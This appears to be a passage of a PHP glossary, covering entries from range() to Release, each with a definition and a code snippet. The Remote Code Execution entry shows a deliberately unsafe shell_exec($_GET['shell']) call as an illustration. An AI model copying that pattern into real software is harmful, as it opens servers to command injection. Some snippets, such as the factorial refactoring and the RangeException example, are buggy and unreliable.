PHP has no range type. range() is an ordinary function that eagerly builds and returns a plain array of all the values in the interval; the interval itself is never represented as a value, cannot be matched with match, and cannot be used as a slice boundary. Iterating lazily over an interval requires a Generator written by hand, or an external library.
<?php
// range() eagerly materializes the array; there is no interval value.
$values = range(1, 10);
?>
See Also
Related
range()
range() produces an array with all values between the two arguments of the function.
By default, the produced elements are spaced by 1, or another distance when the $step argument is used.
When $start is bigger than $end, the array is descending. Otherwise, it is ascending.
When both $start and $end are single byte strings, such as alphabet letters, range() produces all letters in-between. It does not work on multi-bytes characters, nor with values beyond 255.
<?php
// 0, 1, 2, 3, 4, 5, 6, 7, 8, 9
$figures = range(0, 9);
// 0, 2, 4, 6, 8
$even = range(0, 9, 2);
// The ASCII range
print_r(range(chr(0), chr(231)));
?>
See Also
Related
RangeException
The RangeException exception is thrown if a value is out of range. It usually means that a values overflows or underflows.
RangeException is defined by the SPL extension. It is used by the SplStack class.
<?php
try {
$var = new SplStack();
$var->offsetSet(100,new DateTime('2000-01-01'));
} catch(OutOfRangeException $e) {
print $e->getMessage() . \n;
}
?>
See Also
Related
Rate Limiting
Rate limiting is a technique that controls the frequency of requests a client can make to a service within a given time window. It protects services from abuse, denial-of-service attacks, and resource exhaustion.
Common strategies include fixed window, sliding window, token bucket, and leaky bucket algorithms. In applications, rate limiting is often implemented at the web server, reverse proxy, or application layer, using shared storage such as Redis or Memcached to track request counts across processes.
Rate limit apply both to external client submitting requests to PHP applications, and to PHP as a client, submitting requests to a remote server.
See Also
Related
- Quality of Service (QoS)
- Distributed Denial Of Service (DDOS)
- Availability
- Performance
- Middleware Pattern
- Cache
- Security
- API Gateway
- Backoff
- Bulkhead
- Cache Stampede
- Jitter
Related packages
- symfony/rate-limiter
- danharrin/livewire-rate-limiting
- spatie/laravel-rate-limited-job-middleware
- davedevelopment/stiphle
Role Based Access Control (RBAC)
RBAC, or Role-Based Access Control, is a security model used to restrict system access based on user roles. It ensures that users only have the permissions necessary to perform their tasks.
Alternatives to RBAC include Attribute Based Access Control for granular, rule-based policies; Relationship Based Access Control for dynamic permissions; Access Control Lists for simple user-level restrictions.
See Also
Related
Related packages
Remote Code Execution (RCE)
It is a type of security vulnerability where an attacker can remotely execute arbitrary code on a target server or system. This typically happens due to improper input validation, insecure deserialization, vulnerable eval-like functions, or unsafe file handling.
<?php
// direct execution of the incoming
shell_exec($_GET['shell']);
?>
See Also
Related
- Vulnerability
- Local File Inclusion
- Execution
- php://filter
- Static Application Security Testing (SAST)
- Shell Exec
Relational DataBase Management System (RDBMS)
RDBMS stands for Relational DataBase Management System. It may also be called a SQL server.
PHP can connect to many different RDBMS, such as MySQL, Oracle, MariaDB, SQLite3, MSSQL, PostgreSQL, etc.
PHP offers a native abstraction layer: PDO. There are database abstraction as components too.
See Also
Related
- PHP Data Objects (PDO)
- Structured Query Language (SQL)
- Storage Systems
- SQLite3
- MySQL
- PostgreSQL
- Abstraction Layer
Related packages
RDF Triple Store
An RDF triple store is a database purpose-built to store and query RDF, Resource Description Framework, data: statements made of a subject, a predicate, and an object, such as ‘Alice knows Bob’. A collection of triples naturally forms a graph, which is queried with SPARQL, RDF’s dedicated query language, instead of SQL.
Triple stores are the backbone of Semantic Web and Linked Data applications, and of many knowledge-graph systems: they excel at representing loosely structured, highly interconnected data, and at answering questions involving arbitrary chains of relationships, which tend to be costly to express as a series of SQL joins.
Popular triple stores include Apache Jena / Fuseki, Virtuoso, Blazegraph and GraphDB; libraries, such as EasyRdf, exist to build RDF data and query a triple store over HTTP.
See Also
Related
Related packages
RDF (Resource Description Framework)
RDF, Resource Description Framework, is a W3C standard model for describing and exchanging data on the Web. Data is expressed as triples of the form subject-predicate-object, such as ‘PHP hasType Language’, which together form a directed graph of statements.
RDF underpins the Semantic Web and Linked Data initiatives: resources are identified by URIs, statements can be serialized in several formats such as RDF/XML, Turtle, N-Triples and JSON-LD, and collections of triples are queried with SPARQL.
Libraries such as EasyRdf provide an API to parse, build, and serialize RDF data, and to query a remote or local triple store.
<?php
$graph = new EasyRdf\Graph('http://example.com/data');
$graph->add('http://example.com/data#me', 'foaf:name', 'Alice');
echo $graph->serialise('turtle');
?>
See Also
Related
- RDF Triple Store
- Triple
- SPARQL
- Graph Database
- Semantic Analysis
- Extensible Markup Language (XML)
- JSON-LD
Related packages
RdKafka
rdkafka is a PIE extension providing a PHP client for Apache Kafka, a distributed event-streaming platform. It is a binding around librdkafka, the widely used C client for Kafka, and exposes producer and consumer classes for publishing and reading messages from Kafka topics.
A producer sends messages to a named topic, optionally partitioned by a key, and Kafka retains them for a configurable retention period regardless of whether consumers have read them yet, which is what distinguishes Kafka from a traditional message queue: multiple independent consumer groups can each read the same stream of events at their own pace.
Kafka, and by extension this driver, is commonly used for event-driven architectures, log aggregation, and streaming data pipelines, where the durability and replay-ability of the event log matters more than the low-latency point-to-point delivery that a queue such as Gearman or RabbitMQ provides.
<?php
// Producer
$conf = new RdKafka\Conf();
$conf->set('metadata.broker.list', 'localhost:9092');
$producer = new RdKafka\Producer($conf);
$topic = $producer->newTopic('orders');
$topic->produce(RD_KAFKA_PARTITION_UA, 0, json_encode(['id' => 1]));
$producer->flush(2000);
// Consumer
$consumerConf = new RdKafka\Conf();
$consumerConf->set('group.id', 'order-service');
$consumerConf->set('metadata.broker.list', 'localhost:9092');
$consumer = new RdKafka\KafkaConsumer($consumerConf);
$consumer->subscribe(['orders']);
$message = $consumer->consume(10000);
echo $message->payload;
?>
Related
ReactPHP
ReactPHP is a low-level library for event-driven programming. It provides an event loop, streams, promises, and other primitives for building asynchronous, non-blocking applications.
ReactPHP is built around four core components:
- EventLoop: the core of ReactPHP, handling scheduling and dispatching of callbacks for I/O events, timers, and stream events
- Streams: abstracted stream interfaces,
ReadableStreamInterface,WritableStreamInterface, etc. for non-blocking I/O operations - Promises: a deferred/promise implementation for handling asynchronous results
- Socket: a high-level socket server and client implementation
ReactPHP is widely used for building:
- HTTP servers and clients
- WebSocket servers
- Database clients, MySQL, PostgreSQL, Redis, etc.
- TCP/UDP servers
- File watchers and process managers
It is the foundation for many production-grade PHP applications requiring high concurrency, such as chat servers, real-time APIs, and IoT gateways. ReactPHP 1.x requires PHP 7.1+, and the upcoming 2.0 version will leverage Fibers for simpler coroutine-like syntax.
<?php
require __DIR__ . '/vendor/autoload.php';
$http = new React\Http\Server(function (Psr\Http\Message\ServerRequestInterface $request) {
return React\Http\Message\Response::plaintext('Hello World!\n');
});
$socket = new React\Socket\SocketServer('127.0.0.1:8080');
$http->listen($socket);
echo "Server running at http://127.0.0.1:8080\n";
?>
See Also
Related
- Asynchronous Markup Protocol (AMP)
- Async
- Asynchronous
- Event Loop
- Event Driven
- Coroutine
- Promise
- Non-blocking
- Concurrency
- Fibers
- Microservice
- Swoole
- OpenSwoole
- Websocket
- Socket
Related packages
Readability
A code is readable, or easy to read, if all the needed information is available in the code, without the need to reach for an extra piece of reference to understand it.
Readable code may be understood on the spot, while unreadable code hides some important part of the process.
Readability is a human characteristic of the code: it depends on the level of knowledge of the reader. Good naming is an important part of readability, as intention are conveyed.
<?php
// all explicit alphabet
$alphabet = array ( 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
// readable with knowledge of range() function
$alphabet = range('a', 'z');
// generic name for a partial list of letter: many questions hang
$array = range('a', 'l');
?>
See Also
- The Complete Guide to Readable Code: 11 Principles
- Why Code Readability is important
- How to write readable code?
- Refactoring PHP Code for Better Readability
Related
Readable
Something is readable when its current value may be accessed. For example, a variable is readable, as it may be read at any moment. On the other hand, a property may be unreadable, depending on the context, because of the visibility configuration.
Variable, properties with the correct visibility, static properties, constants, class constants with the correct visibility, array elements are readable.
Files are another object that requires permissions. This time, the operating system provides the permissions. A file is readable when the is_readable() function returns true.
<?php
$trunk = 3;
echo $trunk;
?>
See Also
Related
- Visibility
- Variables
- Static Property
- Properties
- Container
- Array Element
- Writeable
- Technical Debt
- fopen()
- Maintenability
- Writable
- Floating Point Numbers
Reading
Reading is the action to access a value in a data container, to make use of it. The value is simply accessed, not changed.
Reading happens when a value is passed as an argument, used as an operand with an operator, or assigned to another variable.
This operation is usually the counterpart of writing. It may also happen at the same time.
<?php
$trunk = 1;
echo $trunk; // reading 1
?>
See Also
Related
Readline
readline is the PHP extension that binds to the GNU Readline library, or to libedit as a compatible alternative on some systems, and brings interactive line-editing features to command-line PHP scripts and the interactive PHP shell. Without it, reading input from a terminal in a CLI script is limited to raw functions like fgets or fscanf on STDIN, which offer no editing convenience once a line has been typed. With readline enabled, a script can call the readline() function to display a prompt and collect a line of input while the user benefits from familiar terminal behavior: moving the cursor with the arrow keys, editing in place, using Emacs or Vi-style keybindings depending on configuration, and recalling previously entered lines. The extension also exposes an explicit command history through functions such as readline_add_history, readline_list_history, readline_read_history, and readline_write_history, letting a script persist and reload past input across sessions, as well as tab completion support via readline_completion_function, so custom autocompletion logic can be attached to a script’s prompt. It is the same mechanism that powers the built-in interactive PHP shell invoked with php -a, and is a common building block for building custom REPLs, admin consoles, and other interactive command-line tools.
<?php
// read 3 commands from user
for ($i=0; $i < 3; $i++) {
$line = readline("Commande :");
readline_add_history($line);
}
// list the command line history
print_r(readline_list_history());
?>
See Also
- GNU readline
- How to read user or console input in PHP
- How to read user or console input in PHP ?
- How To Take Input From User In PHP Without Form
Related
Readonly
A property or a class can be declared readonly, which prevents modification of the property or all properties after initialization.
readonly also applies inside the __clone() magic method: cloning doesn’t allow for changing a readonly property.
A class may be readonly since version 8.2, making all of of its properties readonly too. The children classes must also be readonly.
<?php
class Test {
public readonly string $prop;
public function __construct(string $prop) {
// Legal initialization.
$this->prop = $prop;
}
}
$test = new Test(foobar);
// Legal read.
var_dump($test->prop); // string(6) foobar
// Illegal reassignment. It does not matter that the assigned value is the same.
$test->prop = foobar;
// Error: Cannot modify readonly property Test::$prop
?>
See Also
Related
- Class
- __clone() Method
- Properties
- Clone
- Property Type Declaration
- Var
- Writeable
- Ownership
- Record Type
- Struct Type
- Type System
- Modifier
Real Time
Real time generally refers to the ability of an application to process data with minimal delay or in a continuous manner, often appearing instantaneous to the user.
This is the case with streams of data, chat systems, notifications, dashboards, collaborative tools, etc.
However, PHP itself is not inherently a real-time language due to its traditional request-response model.
There are several technologies that are paired with PHP to achieve real-time features: polling, websockets, Server Sent Events or SSE, asynchronous PHP.
See Also
Related
Real Numbers
Real numbers are represented using the float data type.
They are also commonly referred to as floating-point numbers or double-precision numbers. Floats are used to represent decimal numbers, including both whole numbers and fractions, with a certain degree of precision. Real numbers are used for performing mathematical calculations that require decimal accuracy.
There used to be real dedicated structures, like is_real() or (real), though, they were removed in version 7.0. In case of doubt, refer to float.
It’s important to be aware of potential rounding errors or precision issues when working with real numbers. It is true in any programming language that uses floating-point representation. If exact decimal precision, it is recommended to use specialized libraries or techniques to handle arbitrary precision arithmetic, such as bcmath or gmp.
<?php
$a = 1.234;
?>
See Also
Related
Record Type
A record type, also called a data class, is a construct dedicated to grouping named fields into an immutable value, with equality, hashing, and a string representation generated automatically from the field list, rather than written by hand. Examples include Java’s record, Kotlin’s data class, C#’s record, and Python’s dataclass.
Because the compiler generates the boilerplate, a record type is meant to be declared in a single line per field, and two records are considered equal when all their fields are equal, regardless of identity, unlike ordinary objects which compare by reference by default.
PHP has no dedicated record type. A readonly class with constructor property promotion approaches the same intent: fields declared once, in the constructor signature, and never reassigned afterward. It still falls short on two points: PHP generates no value-based == semantics beyond its default shallow object comparison, and it generates no __toString() or hash from the field list, both of which must be written by hand.
<?php
// Closest approximation: readonly + promoted properties.
final class Point {
public function __construct(
public readonly float $x,
public readonly float $y,
) {}
}
$a = new Point(1.0, 2.0);
$b = new Point(1.0, 2.0);
var_dump($a == $b); // true, but by luck of default object comparison
var_dump($a === $b); // false: identity, not value, equality
?>
See Also
Related
Rector
Rector is a PHP refactoring tool that automates code upgrades and migrations.
Rector is able to:
- Upgrade PHP code to newer PHP versions
- Apply coding standards automatically
- Refactor code patterns
- Migrate between frameworks
- Apply custom rules.
See Also
Related
Related packages
Recursion
Recursion is a method or a function which calls itself.
While the method calls itself, it also must have a branch where it does not call itself: otherwise, the call will never end and result in infinite recursion.
Functions, methods, closures and arrow functions may be recursive.
Recursion is an abstract notion. It is also used in the PHP name itself: PHP: Hypertext Preprocessor.
<?php
function factorial(int $number) {
if ($number < 2) {
return 1;
}
return ($number * factorial($number - 1));
}
// recursive closure
$factorial = function( $n ) use ( &$factorial ) {
if( $n == 1 ) return 1;
return $factorial( $n - 1 ) * $n;
};
?>
See Also
Related
- Functions
- DirectoryIterator
- Recursive Array
- RecursiveArrayIterator
- Arrow Functions
- Method
- Closure
- Infinite
Recursive Array
A recursive array is an array that contains a reference to itself. It is a legit construction, although it introduces a loop, between an element and the original variable. This has impact on traversing the array, in particular to count or to compare the array.
<?php
$a = [1, 2, 3 => &$a];
print_r($a);
/**
Array
(
[0] => 1
[1] => 2
[3] => Array
*RECURSION*
)
*/
?>
See Also
Related
RecursiveArrayIterator
RecursiveArrayIterator extends ArrayIterator to allow recursive iteration over nested arrays and objects. It implements RecursiveIterator, so it works with RecursiveIteratorIterator to traverse multidimensional arrays depth-first.
<?php
$array = ['a', ['b', 'c'], ['d', ['e', 'f']]];
$iterator = new RecursiveIteratorIterator(
new RecursiveArrayIterator($array)
);
foreach ($iterator as $value) {
echo $value . PHP_EOL;
}
// a b c d e f
?>
See Also
Related
- Standard PHP Library (SPL)
- Iterator
- Array, []
- Recursion
- Recursive Array
- RecursiveIterator
- SplSubject
RecursiveDirectoryIterator
RecursiveDirectoryIterator extends FilesystemIterator to recursively traverse an entire directory tree. Combined with RecursiveIteratorIterator, it visits every file and sub-directory under a root path.
<?php
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator('/path/to/dir', FilesystemIterator::SKIP_DOTS)
);
foreach ($iterator as $file) {
if ($file->isFile()) {
echo $file->getPathname() . PHP_EOL;
}
}
?>
See Also
Related
- Standard PHP Library (SPL)
- Iterator
- DirectoryIterator
- File System
- DIRECTORY_SEPARATOR
- RecursiveIterator
- SplSubject
RecursiveIterator
The RecursiveIterator interface is an interface that is able to iterate through nested iterators.
The RecursiveIterator is implemented by the RecursiveArrayIterator, and RecursiveDirectoryIterator.
See Also
Related
- Iterator
- Standard PHP Library (SPL)
- RecursiveArrayIterator
- RecursiveDirectoryIterator
- DirectoryIterator
- OuterIterator
- PHP Native Interfaces
- RecursiveTreeIterator
RecursiveTreeIterator
The RecursiveTreeIterator allows iterating over a RecursiveIterator to generate an ASCII graphic tree. This is a convenient and native way to display a tree-like structure.
<?php
$data = [
'fruit' => [
'apple',
'banana'
],
'vegetables' => [
'carrot',
'broccoli',
'leafy' => [
'spinach',
'lettuce'
]
]
];
// Wrap the array in a RecursiveArrayIterator
$iterator = new RecursiveArrayIterator($data);
// Create a RecursiveTreeIterator
$treeIterator = new RecursiveTreeIterator(
$iterator,
RecursiveTreeIterator::SELF_FIRST
);
// Loop and print the tree
foreach ($treeIterator as $key => $value) {
echo $treeIterator->getPrefix() . "$key: $value\n";
}
/**
|-- fruit
| |-- 0: apple
| |-- 1: banana
|-- vegetables
| |-- 0: carrot
| |-- 1: broccoli
| |-- leafy
| |-- 0: spinach
| |-- 1: lettuce
*/
?>
See Also
Related
Red-Green-Refactor
Red-Green-Refactor is the core cycle of Test-Driven Development, TDD, a software development methodology where tests are written before the implementation code.
The cycle consists of three phases:
- Red: write a failing test that defines the desired behavior. Since the implementation does not exist yet, the test fails
- Green: write the minimum amount of code necessary to make the test pass. The implementation does not need to be elegant or optimized; it just needs to satisfy the test.
- Refactor: improve the code’s structure, readability, and performance while keeping all tests green. This step eliminates duplication, applies design patterns, and enhances code quality.
This disciplined approach ensures:
- Comprehensive test coverage from the start
- Clear understanding of requirements before implementation
- Incremental, verifiable progress
- Clean, well-designed code through continuous refactoring
- Confidence to make changes without breaking existing functionality
TDD was popularized by Kent Beck in his book Test-Driven Development: By Example and is widely adopted in modern software development practices.
<?php
// RED: Write a failing test
class CalculatorTest extends \PHPUnit\Framework\TestCase {
public function test_add_returns_sum(): void {
$calc = new Calculator();
$this->assertEquals(5, $calc->add(2, 3));
}
}
// GREEN: Minimal implementation to pass
class Calculator {
public function add(int $a, int $b): int {
return $a + $b;
}
}
// REFACTOR: Improve the code
class Calculator {
public function add(int ...$numbers): int {
return array_sum($numbers);
}
}
?>
See Also
Related
- Test-Driven Development
- Refactoring
- Unit Test
- Test
- PHPunit
- Clean Code
- Best Practices
- Test Framework
- Assertions
- Test Pyramid
Related packages
Redirect
An HTTP redirect instructs the client to navigate to a different URL. PHP performs redirects by sending a Location header with an appropriate HTTP status code: 301 for permanent redirect, 302 for temporary, or 303 for ‘see other’.
After sending the redirect header, execution should stop immediately with exit to prevent further output being sent to the client.
<?php
// Temporary redirect
header('Location: /new-page');
exit;
// Permanent redirect
header('Location: https://example.com/new-page', true, 301);
exit;
?>
See Also
Related
- Hyper Text Transfer Protocol (HTTP)
- HTTP Code
- HTTP Request Headers
- Response
- Universal Resource Locator (URL)
- Search Engine Optimization (SEO)
- SplSubject
Redis
Redis is an in-memory key-value data store, used as a database, cache, message broker, or queue. It supports richer data structures than a plain key-value store, including hashes, lists, sets, sorted sets, and streams, and offers sub-millisecond latency thanks to its in-memory nature.
Redis can persist its dataset to disk, be replicated, and be clustered for high availability and horizontal scaling.
PHP applications talk to Redis mostly through the phpredis PECL C-extension, or through pure-PHP client libraries such as predis/predis. Frameworks like Symfony and Laravel ship built-in cache, session, and queue adapters backed by Redis.
<?php
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
$redis->set('user:42', json_encode(['name' => 'Ada']));
$user = json_decode($redis->get('user:42'), true);
?>
See Also
- PHP and Redis Tutorial: Getting Started with PhpRedis
- How to Use Redis with PHP using PhpRedis with Examples
Related
Related packages
Refactoring
Refactoring, as in any programming language, refers to the process of restructuring and improving the codebase of an application without changing its external behavior. The primary goal of refactoring is to make the code more readable, maintainable, and efficient while reducing code duplication and potential bugs.
Refactoring is an essential practice in software development to ensure that the code remains clean and adaptable as the project evolves.
The constraint of rewriting the code without changing the external behavior is somewhat misleading: for example, changing the algorithm to speed up the processing of a piece of data, changes its behavior as it is faster. Such behavior is usually desirable, so it is not considered as a change in behavior: at least, not a negative one. Yet, it still may have consequences on the rest of the application.
<?php
function factorial(int $n) : int {
$return = 2;
for($i = 3; $i <= $n; ++$i) {
$return *= $i;
}
return $return;
}
function factorialr(int $n) : int {
if ($n === 2) { return 1; }
return factorialr($n - 1);
return $return;
}
// Note : checks on $n >= 1 are omitted here.
?>
See Also
- Refactoring without tests should be fine
- Refactoring Guru
- PHP Refactoring: The Art of Improving Code Quality and Maintainability
- Refactoring Techniques in PHP
Related
- Test
- Autowiring
- Drop-in
- Legacy
- Streamlining
- Maintenance
- Total Cost Of Ownership (TCO)
- Brownfield
- Fat
- Rector
- Test-Driven Development
Related packages
Reference Count
Reference counting is the way PHP keeps track of the usage of a value.
The count starts at 1 when the value is created, and it is increased when the value is passed around. It is decreased when the value is deleted or modified. When the reference count is zero, the value may be removed from the memory safely.
Reference counting is a feature of the PHP engine: code usually uses it transparently. The only possible interaction is when using the garbage collector.
See Also
Related
References
References allow creating multiple variables that refer to the same underlying value in memory. When using references, any changes made by one variable affect the others that reference the same value. This may be useful in certain situations, such as when it is important to avoid copying large amounts of data or when it is needed to modify the original value through multiple variables. PHP optimizes the transfer of data by postponing duplication of data until they are actually modified: there is no need to use references with readonly data.
<?php
$a = 1;
$b = &$a;
$b = 2;
echo $a;
// displays 2
?>
See Also
Related
- Variables
- Weak References
- Alias
- Dangling Reference
- Garbage Collection
- Recursive Array
- Self-reference
- Circular Reference
- Clone
- Pointer
- array_fill()
- Assignation
- Footgun
- Linear Type
- Cheat Sheet
- Lvalue
- Parameter
- Ternary Operator
Referential Integrity
Referential integrity is a database property guaranteeing that a reference from one row to another always points to a row that actually exists. It is enforced by foreign key constraints: the database refuses to insert a row that references a missing parent, and refuses to delete, or update, a parent row while dependent rows still reference it, unless a cascade rule is declared.
When referential integrity is disabled, or bypassed, for example by turning off foreign key checks to speed up a bulk import, orphaned rows can accumulate silently: a product referencing a deleted category, an order referencing a locale that was never created. Nothing fails loudly, but joins start returning null, or dropping rows, and reports quietly under-count.
Referential integrity is most at risk during data migrations and ETL jobs, where rows are written out of dependency order, or where a lookup used to resolve a reference falls back to null instead of raising an error. Re-enabling and validating constraints after a bulk load is a common way to catch these gaps before they reach production.
<?php
// Without referential integrity, a bad reference is written silently
$stmt = $pdo->prepare('INSERT INTO orders (customer_id, locale_id) VALUES (?, ?)');
$stmt->execute([$customerId, $localeId ?? null]); // null locale_id: silent orphan
// With a foreign key constraint, this insert would fail loudly instead
?>
See Also
Related
- Foreign Key (FK)
- Database
- Migration
- Extract, Transform, Load (ETL)
- Cascading Failure
- Transaction
- Validation
- Silent Behavior
Refinement Type
A refinement type is a base type combined with a logical predicate that every value of that type must satisfy. Instead of just int, a refinement type allows { x: int | x > 0 } meaning a positive integer, or { s: string | length(s) <= 255 } meaning a short string. The predicate is part of the type definition and is checked statically by the type system, not at runtime.
Refinement types shift constraint validation from runtime guards into the type system itself. A function accepting a PositiveInt can never be called with a negative number without a type error; the caller must prove the precondition, typically by producing a value through a smart constructor.
Languages with native or library-based refinement type support include Liquid Haskell, via SMT-solver-backed liquid types, F*, and some dependently-typed systems. TypeScript libraries such as io-ts and zod approximate refinements at the boundary layer.
PHP does not support refinement types. The closest approximations are:
- Value objects with a constructor that throws on invalid input, enforcing the predicate at instantiation.
- Psalm and PHPStan assertion annotations
@psalm-assert positive-int $nwhich let static analysis track some refinements across control flow. - PHP 8.0
assert()in development mode for runtime checks.
None of these approaches enforces the predicate at the type system level in a way that is verified statically across all call sites.
<?php
// PHP approximation: smart constructor enforcing the predicate at runtime
final class PositiveInt {
public readonly int $value;
private function __construct(int $value) {
if ($value <= 0) {
throw new \InvalidArgumentException('Must be positive');
}
$this->value = $value;
}
public static function of(int $value): self {
return new self($value);
}
}
function divide(int $dividend, PositiveInt $divisor): float {
return $dividend / $divisor->value;
}
?>
See Also
Related
- Dependent Type
- Type System
- Type Checking
- Value Object
- Type Invariant
- Validation
- Gradual Type Checking
- Assertions
Reflection
PHP reflection is a feature that allows inspecting and interacting with the structure of classes, interfaces, methods, properties, and other elements of the code, during runtime. Reflection is made possible by the Reflection API, which provides a set of classes and functions for introspecting objects and classes.
PHP offers a complete API to describe classes, methods, interfaces, constants, functions, extensions, traits, enums and their components.
- ReflectionAttribute
- ReflectionClass
- ReflectionClassConstant
- ReflectionEnum
- ReflectionEnumBackedCase
- ReflectionEnumUnitCase
- ReflectionException
- ReflectionExtension
- ReflectionFiber
- ReflectionFunction
- ReflectionFunctionAbstract
- ReflectionGenerator
- ReflectionIntersectionType
- ReflectionMethod
- ReflectionNamedType
- ReflectionObject
- ReflectionParameter
- ReflectionProperty
- ReflectionReference
- ReflectionType
- ReflectionUnionType
- ReflectionZendExtension
- Reflector
Reflection is also available in other programming languages.
<?php
Reflection::export(new ReflectionClass('Exception'));
?>
See Also
- Introduction to PHP Reflection API
- Understanding PHP Reflection: An In-Depth Guide with Examples
- Rewriting reflexion with Rust
Related
- Class
- instance
- Introspection
- get_object_vars()
- new
- ReflectionException
- Writeable
- get_class_vars()
- Reflector
- Code Generation
- Homoiconicity
- Meta-object Protocol (MOP)
- Metaclass
- Metaprogramming
Related packages
ReflectionException
ReflectionException is thrown whenever the Reflection API encounters an error.
Common reasons for encountering a ReflectionException include:
- Class Not Found
- Property Not Found
- Method Not Found
- Invalid Argument.
<?php
try
{
$ref = new ReflectionClass($class);
}
catch (ReflectionException $e)
{
var_dump($e->getMessage());
}
?>
See Also
Related
Reflector
Reflector is the base interface that all PHP Reflection classes implement. It declares __toString(), providing a common type for all reflection objects.
All reflection classes, ReflectionClass, ReflectionMethod, ReflectionFunction, ReflectionProperty, ReflectionParameter, etc., implement this interface, allowing code to accept any reflector generically.
<?php
function describeReflector(Reflector $r): void {
echo (string) $r . PHP_EOL;
}
describeReflector(new ReflectionClass(DateTime::class));
describeReflector(new ReflectionFunction('array_map'));
?>
See Also
Related
Regular Expression
A regular expression, or regex, is a sequence of characters that specifies a search pattern. PHP currently uses the PCRE library, and used to have 2 such libraries.
<?php
preg_match('/(foo)(bar)(baz)/', 'foobarbaz', $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>
See Also
- How to Use PHP Regular Expressions for Pattern Matching and Data Validation
- Getting Started with PHP Regular Expressions
- PHP Regular Expressions
Related
- Question Mark ?
- Regexploit
- Reverse Regex
- Star *
- String
- Wildcard
- Escape Character
- Perl Compatible Regular Expressions (PCRE)
- Preg_match
Regexploit
A regexploit is a poorly built regex, which takes a long time to execute, even for small inputs. While the regex itself may actually provide valid features, its performances may degrade quickly as the size of the input grows, leading to a possible DDoS by keeping the server busy.
<?php
//extracting version number
preg_match('(.+)\.(.+)\.(.+)', $string, $r);
?>
See Also
Related
Register Globals
Register globals is an old and removed feature of PHP, which automatically created variables from the incoming super globals, such as $_GET, $_POST, $_REQUEST, $_COOKIES.
This meant that the initial set of variables in an application was not known, as they would depend on the incoming data.
Register globals has been removed in version 5.4.
<?php
// $_GET['foo'] = 'bar';
echo $foo;
// $_GET['_SESSION']['logged'] = '1';
?>
See Also
Related
register_argc_argv
This directive controls the availability of the $argv and $argc PHP native variables. By default, the directive is active and the variables are available.
<?php
if (ini_get('register_argc_argv')) {
var_dump($argv);
} else {
print '$argv and $argc are disabled.';
}
?>
See Also
Related
Registry
A registry may be the following things:
- A design pattern
- A central object, which gives access to common objects, such as view, database connection, cache, configuration, etc.
See Also
Related
Related packages
Regression
A regression is a return to a previous, less developed state, typically a bug that was once fixed but has reappeared.
In software testing, regression testing is performed to ensure that changes to the code have not introduced new bugs or broken existing functionality.
Regression tests are typically automated and run after every code change.
See Also
Related
Relative Name
A relative name is a name that is completed by the current namespace to lead to the definition of the referenced structure.
Relative names usually start without the leading \. In the case of names with a single name, it is either a relative name, or a local import.
The opposite of relative name is absolute name.
<?php
namespace B\A {
function B() {}
class C {}
}
namespace B {
use A\B as C;
//import
new C();
// relative name
new A\C(); // actually calls B \ A\C
}
?>
See Also
Related
Relative Types
Relative types are types that are not explicit, but relative to the current class. There are three relative types:
static: this represents the current calling class. It is important when the class is not directly called, but one of its children is.self: this represents the current class, at compilation time.parent: this represents the first available parent of the current class. It usually is the direct parent, but may skip classes when the requested resource is not available, as in method calls.
<?php
class Calf extends Elephpant {
function trumpet() : self {}
function forage() : static {}
function migrate() : parent {}
}
?>
See Also
Related
- Scalar Types
- Union Type
- Literal Types
- Intersection Type
- Disjunctive Normal Form (DNF)
- Self
- static
- parent
- Type System
- Fully Qualified Name
- Relative
Relative
A relative value is dependent on the context in which it operates.
The notion of relative has several usages:
- There are relative names, which depends on the local namespace
- There are relative path, which are path that starts at the current working directory
- There are relative type, which are types that depends on the current class context, such as
self,staticandparent
The notion of relative is the opposite of the notion of absolute, which does not depend on a local context.
<?php
class Calf extends Elephpant {
// relative type, that may be copy-pasted without a change
function trumpet() : self {}
// absolute type, that represents the current class
function forage() : Calf {}
}
?>
See Also
Related
Relaxed Comparison
Relaxed comparison, also known as loose comparison, is a comparison style that allows for non-strict equality checks between values. Relaxed comparison is performed using the double equals operator ==.
When using relaxed comparison ==, PHP will attempt to convert the operands to compatible types before comparing them. If the operands are of different types, PHP will perform type coercion to make them comparable.
Relaxed comparison is associated with ==, != and <>. It also applies to switch(), the spaceship operator <=>, and the inequalities >, <, >=, <=.
The contrary to relaxed comparison is the strict comparison, which includes type.
Loose comparison is known to have changed significantly in version 8.0: in particular, for special values like 0, empty string ‘’, null and false.
<?php
//true
var_dump(1 == "1");
//false
var_dump(1 === "1");
//false
var_dump(1 > 'a');
//true
var_dump(1 < 'a');
?>
See Also
Related
Relaxed Keywords
The relaxed keywords is the feature that allows most PHP keywords to be used as a method or class constant name.
Generally speaking, PHP keywords are not allowed as names for classes, functions, etc. This is still the case here, yet this constraint has been relaxed for method names.
Functions and global constants do not support that feature. Closures and arrow functions are not applicable, as they have no name. Only methods do use relaxed keywords.
Property names do not have this constraints, as the $ sign make them distinct.
Using PHP keywords as names is not a commonly known feature, and generate a lot of surprise, when used. As a convention, it is recommended to avoid using PHP keywords. Yet, it may apply in specific situations.
<?php
class Xs {
const function = 1;
function function() {}
}
?>
See Also
Related
Relaxed Syntax
Relaxed syntax refers to the extra freedom in naming class elements, such as constant and methods, compared to creating global constant and functions.
In particular, keywords are allowed for class constants and methods, while they are forbidden for global constants and functions.
Note that using PHP keywords for method names may bring confusion to the next code reader.
<?php
// That is not possible, as array is already reserved
// function array() {}
// const array = [];
class Elephpant {
function array() { return [1]; }
const array = [2];
function trumpet() {
// This is not a syntax that is expected
return $this->array() + self::array;
}
}
?>
See Also
Related
Relay Function
A relay function, or a relay method, is a function that calls another function, with the same arguments. It is merely relaying the arguments from one to the other.
A relay function also returns the value of the relayed function.
A relay function does not add any added value over the other function, except a renaming of the feature.
Relay functions may be nested several levels, depending on the situation.
<?php
function trumpet($trunk) {
return forage($trunk);
}
function forage($trunk) {
return migrate($trunk);
}
function migrate($trunk) {
return doSomething();
}
?>
See Also
Related
Release
A release is a final version of a software. A release is published, or released to the public.
A release may have a version number. For published software, this version is published, while for SaaS, it may be undocumented.
See Also
Related
- Version
- Semantic Versioning
- Software-as-a-Service (SAAS)
- Continuous Delivery (CD)
- Continuous Integration (CI)
- Feature Flag
- Feature
- Artifact
Reliability
